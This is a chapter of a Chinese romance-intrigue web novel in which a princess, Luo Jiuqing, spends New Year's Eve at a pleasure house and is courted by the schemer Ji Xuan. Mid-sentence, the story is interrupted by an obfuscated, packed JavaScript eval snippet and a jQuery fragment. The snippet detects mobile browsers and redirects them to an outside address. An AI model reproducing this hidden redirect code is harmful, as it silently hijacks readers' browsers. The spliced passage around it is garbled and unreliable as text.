144. 同心佩

作品:《王妃与花魁

    “玖儿,今夜朕陪你一同想念他们。”


    裕景帝带洛玖卿行至一处宫室的偏殿,殿内燃着长明灯,居中靠墙的供桌上供奉两个牌位。


    竟是她的父母。


    裕景帝拜祭她的父母,又揭开酒壶封口,与她父亲对饮。


    堂堂一国之君,席地而坐,对着虚空有说不完的话,喝得酩酊大醉,都忘了还有人随他一起来的。


    洛玖卿拾起地上的酒壶掂了掂:“还说要陪我一起想念他们,这酒陛下是一滴也没给我留啊。”


    她出殿门寻了个小太监去找莫公公来照顾陛下。


    莫公公安顿好陛下,反身碎步行至洛玖卿身前:“王妃,奴婢让人送您去王爷那儿吧。”


    “不必了,莫公公,今日王爷与太子殿下定有许多话说,我想回王府。”


    “是。”


    坐宫里的软轿到宫门外,王府马车正候着。


    回府后,洛玖卿却没有急着歇下,今夜她不想再做王妃,从王府酒窖里顺了两壶酒,偷溜出府去了青玉楼。


    今夜她想做她自己。


    烛火通明的青玉楼,热闹不减,便是除夕夜,在外寻欢的男子依旧不少。


    洛玖卿换装后遮着面下楼来。


    “欢喜姑娘来了。”玉兰微微欠身。


    她今夜压轴出场,刚刚跳完最后一支舞。


    “柳娘不在么?”洛玖卿环顾一圈没瞧见柳香玉,奇了,平日她有一点动静,柳娘都能马上赶到,今日她来了,她竟毫无知觉?


    玉兰掩唇笑了笑:“柳娘不知姑娘今日要来,这会儿只怕是醉了呢。”


    她领洛玖卿至青玉楼深处隐秘的雅居,玉兰在门前止步:“此房间柳娘不许我们踏入,姑娘自行进入吧。”


    洛玖卿推门,异彩华光闪得她眯了眼,各式灯盏照得房间亮如白昼,室内香薰甜腻醉人,屋中纱幔翩飞,两道纤巧身影交错,一柔一刚,动作皆是洒脱又率性。


    洛玖卿看呆了,许久没有挪动脚步,甚至在那二人笑着抱作一团时,她才认清方才跳舞的人是栾素。


    栾素跳舞,柳娘舞剑,刚柔并济,是一场她此生从未见过的盛宴。


    看见洛玖卿站在门口发愣,栾素松开柳娘,扑了过来,抱着她一通乱啃:“小玖儿,我不是做梦吧,为师刚还想着你,你便来了?”


    柳香玉无奈摇头,睨了洛玖卿一眼:“阿素还真是……对你偏爱。”


    看见她,竟毫不留情就将自己推开了。


    洛玖卿扶着摇摇欲坠的栾素,看向柳娘:“她喝了多少?怎么醉成这样。”


    “不多,只是心里藏着事,酒不醉人人自醉。”柳香玉坐下饮了口茶。


    洛玖卿扶着栾素坐下:“本是来找你喝酒的,想不到你们已经喝上了。”


    柳香玉支颐凑近了盯着她:“怎么?你也有心事?”


    “除夕佳节,难道不值得喝一杯?”


    “喝!”栾素突然暴起,举着手大吼一声,随即又整个人瘫在洛玖卿身上,轻声细语道,“小玖儿,你要我查的事,有眉目了,红鸢她啊……真的是酉酉的姐姐。”


    她伏在洛玖卿肩头,湿热的酒气喷洒在洛玖卿耳廓,说得很慢:“我偷偷给你说啊,当初红鸢……本是要被清除的,是、是季玄救了她,因为她是酉酉的姐姐……”


    洛玖卿偏头,都醉成这个样子了,还记得这事儿呢。


    都说酒后吐真言,洛玖卿却难忍狐疑:“栾师父,你不会骗我吧。”


    栾素嘟着嘴皱眉,她拍了拍洛玖卿的脑袋:“说胡话,师父怎么能害你呢!”


    是呀,栾素不会害她。


    可不代表不会骗她呢。


    洛玖卿笑了笑,她像是步入了一个精准完美的局,一切线索都指向那个答案,可她偏偏就是不信呢。


    她更信她自己的切身感受,再美谎言,也终究是谎言。


    可她身边这些人,却是实实在在的。


    房外响起两声沉闷的扣门声:“玉姐,陆侯来了,他要见欢喜姑娘。”


    洛玖卿和柳香玉对望一眼,她挑了挑眉:他怎么回来了?


    柳香玉耸了耸肩:我如何知道?


    季玄身着铠甲风尘仆仆而来,玄甲上还带着冰霜,他一路快马加鞭回来,送回夙州大胜的捷报。


    宫门已经下玥,他回城径直往青玉楼走,到了才想起今日除夕,她应当在宫中赴宴,怎会在青玉楼呢。


    却不想她还真在青玉楼。


    望着门口裙摆荡漾出的涟漪,季玄眸光上扬,因赶路而急跳的心在看见那张熟悉面容时终于在胸腔内落定。


    他笑了笑:“阿玖,新岁顺意。”


    洛玖卿欠身:“季左使有何示下?”


    季玄敛了笑:“你非要同我如此生分么?”


    他取下手衣,从怀中掏出油纸包:“你最爱吃的夙安桥头的白糕。”


    洛玖卿毕恭毕敬接过:“谢季左使。”


    东宫内,与太子对弈的褚青晏有些心不在焉。


    褚青时望他几眼:“可惜你不饮酒,否则也不必陪我下棋这般无聊。”


    “皇兄多虑,我并不觉得无聊。”


    “那便是心有挂碍。”褚青时松手让掌中棋子落回棋盒,一连串清脆磕碰声后,他拂袖笑道,“罢了,你既无心,我也不强留你了,去找你的王妃罢。”


    褚青晏丝毫不与他客气,急切起身拱手:“多谢皇兄。”


    他说完急哄哄地往外走。


    褚青时披着外衫追出几步:“咳咳,外头下着雪呢,你慢点儿。”


    “殿下,您风寒刚愈,可不能追出去。”宝来上前搀扶太子殿下。


    “福进,去给祈王送柄伞。”


    福进跑出去没多久就回来了,手里还握着伞,他有些沮丧:“王爷眨眼就不见了。”


    宝来正端着药送至太子面前:“殿下,王爷从前可从不这样。”


    褚青时笑了笑:“甚好。”


    褚青晏从莫公公处得知王妃已出宫,他匆匆回府没瞧见人,又悄悄潜入青玉楼。


    已是亥末时分,楼内歌舞甫歇,正是酒酣情动时,处处靡靡之音。


    他攀着檐壁,挂在欢喜兰房之外,屋内传出说话声。


    “好吃么?”是陆闻的声音。


    褚青晏压低了眉。


    “嗯。”细微的一声回应。


    褚青晏借着窗缝瞥见


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16828166|178115||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了低头吃着什么的王妃,陆闻坐在她对面,面上是显而易见的欣喜与热切。


    王妃与陆闻……


    欢喜与季玄。


    从前他尚可自欺欺人,无论王妃与陆闻从前如何,她答应嫁他,总归是真的。


    可如今想来,她答应嫁他,是应千杀阁之命,她嫁他,又岂会是真心实意。


    褚青晏心内杂乱,屋内的人敏锐地朝窗口看了一眼。


    季玄蹙眉:“谁?”


    话音落,人已至窗口。


    突然大开的窗户涌入凛冽北风,洛玖卿打了个寒颤,裹紧了身上的披风。


    季玄环顾窗外,并未发现不妥,赶紧将窗合上,回身歉然:“阿玖,没冻着你吧。”


    不知是不是洛玖卿的错觉,今日他似乎……格外温柔。


    季玄走回她身前,牵起她放在桌上的手:“阿玖,我此番回来不能久留,怕是不能陪你过生辰了。”


    洛玖卿抽回自己的手:“多谢季左使,还记得属下生辰。”


    季玄收紧骤然空虚的手,压下心头窜起的火气,正待说话,桌上落下一叠名册。


    “这些是季左使想要笼络的朝臣,除却陆谦白,其余大人欢喜皆可为左使说上几句话。”


    季玄大喜:“太好了!”


    他激动地拥住洛玖卿,低醇嗓音似蛊惑似引诱:“阿玖,若有朝一日,我君临天下,你便是我唯一的皇后。”


    季玄明显察觉到怀中人身体一僵,他唇边漾着抹笑。


    如今,她该知,他待她之心与待旁人不同了吧。


    他所图、所谋,皆有她的一份。


    洛玖卿惶恐退后,欠身垂首:“季左使此番想法,阁主可知?”


    季玄上前一步,将人笼入阴影:“阿玖,你不是想脱离千杀阁么,我这也是在帮你啊。”


    “什么……意思?”


    “看来栾素和柳香玉都没有告诉你,完成所有任务,即便阁主许你离开,也不会给你银钩草的解药。”


    洛玖卿难以置信地望着他,所以,所谓完成任务就能离开,只不过是个谎言么?


    季玄笑意残忍:“想要解药,就要凭本事去拿,阿玖,你若是想要,我可以替你杀阁主,拿解药。”


    洛玖卿下意识摇头:“我不想。”


    “没关系,我对你的许诺,任何时候都有效。”季玄从怀中掏出一枚同心佩,塞入她手中,“让你做我的皇后亦是。”


    季玄走后,洛玖卿许久没有回神,直到察觉手中圆润的硬物,才坐回灯下,借着烛火看季玄给她的玉佩。


    这是一只通体血色的红色同心佩,形制与她和褚青晏定亲那只很像,只是玉上缠着精雕细琢的花样起伏不平,像绵延不断的血沫。


    她似烫手般将玉丢在桌面上,季玄的一字一句,她都忍不住想藏着什么算计。


    如今尚京情报网尽在她掌控,他企图用这样的方式来笼络她?


    褚青晏于萧瑟夜风中守着青玉楼,直到看着陆闻离开才掸了掸身上的雪,反身重回欢喜兰房。


    他翻窗而入,映入眼帘的,是女子若有所思望着桌上一枚血玉发呆。


    似画般美好,却叫他心头一阵酸楚。